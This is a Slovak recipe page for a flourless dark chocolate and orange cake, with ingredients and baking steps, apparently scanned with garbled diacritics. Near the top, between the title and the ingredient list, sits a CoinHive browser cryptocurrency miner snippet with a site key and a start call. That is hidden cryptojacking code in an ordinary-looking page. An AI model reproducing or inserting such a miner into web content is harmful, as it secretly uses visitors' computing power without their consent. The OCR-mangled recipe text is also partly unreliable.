Tmava ¢oko-torta bez muky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU

D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 6 vajec, 250 g Cokolady (odporu¢am 70% kakao), 125 g maslo, 175 g pieskovy
cukor (krupica), pomarancova kora, trochu pomarancoveého likéru (Cointreau, prirodny rum),
vyS§lfahana Slahacka (najlepSie tortova).

Postup: Cokoladu rozpustime vo vodnom kupeli a potom do nej vmie$ame zmaknuté maslo. 4
vajicka rozdelime na bielka a Zitka. Do Zitok pridame este 2 celé vajcia a 75 g cukru a
vymieSame a potom este primieSame pomarancovu kéru a Cointreau. Do tejto zmesi pridame
zmes Cokolady a masla. Nakoniec sem vmieSame bielky, ktoré spocCiatku Slahdme samotné a
neskdr do nich priddme 100 g cukru a doSfahame. Celu tuto zmes vylejeme do tortovej formy
vyloZenej papierom na pecenie. PeCieme spociatku pri teplote 180°C, neskér na velmi slabom
stupni a este aj prikryjeme zvrchu, aby cesto prili§ nestmavlo. Celkovy ¢as pecenia je cca 35
min. Na vychladnuta tortu dame vyslahanu Sfahacku (ja trochu prisladim).




